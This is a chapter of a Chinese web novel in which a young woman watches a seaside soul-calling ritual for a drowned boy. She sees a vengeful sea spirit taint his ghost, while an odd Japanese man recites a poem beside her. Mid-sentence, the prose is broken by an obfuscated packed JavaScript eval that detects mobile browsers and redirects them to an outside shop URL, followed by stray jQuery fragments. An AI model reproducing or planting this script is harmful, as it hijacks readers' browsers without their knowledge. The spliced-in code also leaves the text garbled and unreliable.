19. 第 19 章

作品:《风雨漫过的小镇

    法师念经的时候,其他人也没闲着,也开始了自己的动作。有四个同样身穿新中式衣服,胸前别着月中兔别针的人,分别站在醮台的四角,手中扶着一根长竹竿,竹竿上挂一个箩筐,里面装着一只公鸡,四人同时面朝大海,随着法师念经的声音,不停的摇晃着手中的竹竿。


    然后这时死者的家属也上场了,上场的是死者的爹妈和爷爷奶奶外婆姐姐一共六人,他们全都披麻戴孝,死者妈手中拿一个大白灯笼,死者爹手中拿一个铜锣,爷奶姐外婆四人各举一根香烛,然后就正式开始叫魂了。叫魂时,死者爹先敲一声锣,这个叫敲冷锣,然后死者妈再朝着大海叫一声死者的名字,‘陈宇轩归来!’,死者妈的这个白灯笼上事先蒙着好几层遮光纸,每喊一声,爷奶姐外婆四人就手持香烛,轮流上前撕去一张纸,象征灯笼越来越亮,死者的魂魄也越来越能看清归来的方向。就这样,死者家属一边敲锣一边呼喊名字,沿着海岸线一边走一边喊,因为场地限制,他们走到场地的一头就折返回来,就这样在大概100米的场地两头反复折返走,要这样走一个小时,与此同时,醮台中的法师也必须不停的念《度人经》,四周围扶竹竿的人也要不停的摇晃竹竿,这就是整个仪式的全过程。


    现在正是涨潮期,一浪又一浪的海水波涛汹涌的冲击着朔月他们所在的沙滩,一开始海水线还很远,但随着时间的推移,海水越涨越高,越来越接近朔月他们坐着的地方,仪式开始大概20分钟以后,潮涌过来的海水竟然已经浅浅的没过了法师念经的草棚,距离朔月他们坐着的塑料椅只差十几公分远,幸好现在是夏天,大家都穿的凉鞋拖鞋,脚被海水浸湿了也无所谓,而那些穿红马甲的工作人员对涨潮也早有准备,在海水漫过来之前,他们早就把音响这些电子设备放到了高处,免得浸水短路。……至于那还在叫魂的死者爹妈几个人,他们就已经完全的站在了海水当中,海水漫到了他们小腿的位置,但即使如此,他们还是费力的一边走,一边大声哭喊着。


    “陈宇轩归来!”


    “陈宇轩归来!”


    死者妈妈喊得撕心裂肺,她的悲伤感染了在场的所有人,连那些一开始欢快的相互叽叽喳喳聊天的游客都变得沉默了下来,一时间,仪式现场只剩下了死者妈的哭喊声和死者爸的敲锣声,还有法师喃喃不断的念经声,……随着仪式的进行,海滩上空风变得越来越大,原本今天就是个阴天,而这时,灰色的乌云从四面八方汇聚过来,翻滚涌动,天色瞬间变得更暗了,潮湿腥咸的空气中流窜着一股让人不安的讯息,让人莫名心头发紧,不知什么时候,大家变得连大气都不敢多喘一声,仿佛马上有什么非常晦气,连提都不敢提的东西要出现了。


    “……!”


    这时天上下起了稀疏的小雨。


    天海连成了一线,整个世界都浸没在了一片潮湿朦胧的水汽之中,自海而来的海风将这片水汽一浪接着一浪的向岸边吹,将朔月及肩长的头发吹到了半空中,裙子也被吹得猎猎作响,朔月仿佛能看到那无形的水汽的巨浪从自己头上打过,……而就在这海水和雨水组成的无形的巨浪中,朔月终于又看见了‘他们’。


    那一个个徘徊在海水之上,隐没在海风之中的灰色的人影,他们影影倬倬,远远近近的遍布在海面上,密密麻麻的一片,也不知道有多少个,……那些半透明的人影全都看不清五官,但朔月能感觉到他们的五官是扭曲的,他们全都在哭泣,黑色的眼泪从他们看不清的眼眶中流下来,一直往下落到海水中,在海水里弥漫开去,朔月直觉这种黑水有剧毒,它正在不停的污染这片大海。


    有些灰色人影像是新死的人,懵懵懂懂,迷迷糊糊,他们没有流泪,或许新死之人还沉浸在死亡的震惊之中,怨气尚未凝结,如果这时能够通过宗教仪式将他们的灵魂净化,就能避免他们被怨气控制,变成怨灵在海上作祟。


    然后在这群新死之人的魂魄中,朔月猛的看到了这次招魂仪式的主角,陈家小子陈宇轩。……没想到此时他就站在离沙滩不远的地方,灰色的人影上隐约能看见少年稚嫩的五官,这时的他面无表情,无神的双眼充满了迷茫,不知道要往哪里去。但很显然,他能听到些什么,或许是法师念的《度人经》能够短暂的联通现世和幽世,当海岸边的他妈悲痛的喊着他的名字,他爸敲响铜锣的时候,陈宇轩的灵魂瞪大了一双无神的眼睛,在仔细的侧耳倾听,然后听着听着,他歪着脑袋像是思索了一会儿,便转头朝向草棚的方向,慢慢的走了过来。


    太好了,招魂仪式起作用了!!陈家小子的灵魂要回来了!!


    这时朔月正惊喜的想着,却突然听到身边的那个日本男人非常惊讶的‘啊!’的喊了一声,然后便听他莫名其妙的念起了一首诗。


    “海中有仙女,待君在松浦。常世国少女,飘然赴约来。”


    “?”


    朔月转过头,莫名其妙的看着这男人,男人朝朔月转过头,金棕色的刘海被风吹得上下飘动。他有一双飘忽不定的眼睛,空灵又跳跃,给人的感觉就是这个人的思维特别跳脱,想法天马行空,而且活在自己的世界里,说话让人摸不着头脑,毫无逻辑可言,……朔月经常上B站看动漫,知道在二次元文化中,这种性格的人叫做‘电波系’,意思就是想法异于常人的人,你只有跟他对上脑电波,才能顺利的和他沟通,如果脑电波对不上,就会觉得这个人莫名其妙。


    这时朔月和这个电波系日本男人大眼瞪小眼的看着,他突然又说道:


    “这是《万叶集》中的一首和歌,我一直在寻找的常世之国,果然就是这里。”


    说罢,他又突然转过头面向大海,举起手指向前方:


    “在古日本的传说中,大海的彼方就是不老不死的常世之国,只要吃下常世国中的非时香果,就能返老还童,永生不死,……今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470832|201470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天终于见到了常世之人,常世国少女,果然是个美人。”


    “??”


    男人的话越发让朔月摸不到头脑,于是她有些茫然的顺着男人的手指往大海中望去,这时她的心脏却如同被锤子重击一般,猛的一跳,紧接着头皮发麻,寒毛倒竖,朔月整个人都吓得毛骨悚然起来。


    在大海之中,在那些留着黑色眼泪的灰色灵体之间,她果然看到了一个女人,一个看不清脸的女人,……这个女人有着一头及腰长的瀑布似的黑发,铁青色的皮肤,浑身都不停往下流淌着黑色的水,整张脸都是扭曲的,看不清五官,但朔月能感觉到,她正在笑,同时用她那双让人头皮发麻的眼睛看着海岸上的一切,朔月瞬间就明白了,她到底是谁。


    是‘她’……,她就是陈家小子临死前看到的那个‘她’,陈家小子只是开天眼看了她一眼,便瞬间暴毙,而她,也是宗柏房间里那个被布蒙住的画像的主人,也是朔月无数次幻觉中带入的那个女人,同时,也是宗柏深爱的人。


    月巫,满月……


    可此时,她已化为海上的怨灵,到处作祟,在她的身上究竟发生了什么??为什么她会变成如今这幅模样,……可她看起来又如此的强大,她的怨念竟然能化为剧毒的黑水,污染四周围的亡灵,甚至污染了这整片大海,……糟糕,她不会也要污染陈家小子的灵魂吧!


    “!”


    想到这里,朔月心头一紧,连忙看向正在往海边走的陈家小子的灵魂,……果然就如同她预料的那样,此时在陈家小子的背后,怨灵满月朝他伸出一只铁青色的手,无数黑色的怨毒之水蜿蜒缠绕在这只手上,随后滴落在海水当中,紧接着,海水瞬间被染成黑色,黑色的海水随着涨潮的海水不断的流向海边的陈家小子的灵魂,当那黑水接触到陈家小子清澈的灵体之时——!


    就在一瞬间,陈家小子的灵体五官瞬间扭曲,双眼瞪大流下黑色血泪,嘴巴大张无声的痛苦嘶吼,仿佛身体遭受了极为痛苦的撕扯,……但下一秒,他突然又恢复成面无表情的样子,但刚才的清澈与懵懂消失了,取而代之的是麻木而扭曲的五官,流下了黑色血泪,这时,陈宇轩已经和其他海上的怨灵一样,被黑水彻底污染了。


    但此时,招魂仪式还在继续,草棚中的法师还在不断的念着《度人经》,陈家小子的爹妈还在不断的敲锣和叫魂,他们好像并没有察觉到刚才发生的一切,可能他们都没有通灵能力吧,……因为招魂仪式的原因,这时被怨气污染的陈家小子的怨灵,依然慢慢的往海边草棚边走过来,朔月亲眼看见他从海中走出来,然后慢慢的走向了草棚中间那个贴了他生辰八字的稻草人,随后俯下身,灵体与稻草人融为一体,渐渐消失了,……但消失之前,朔月清楚地看到陈家小子的怨灵朝她转过头来,阴森的一笑。


    一阵阴风吹过,夹杂在六月的闷热空气中,让在场的所有人都不自觉的抖了一抖。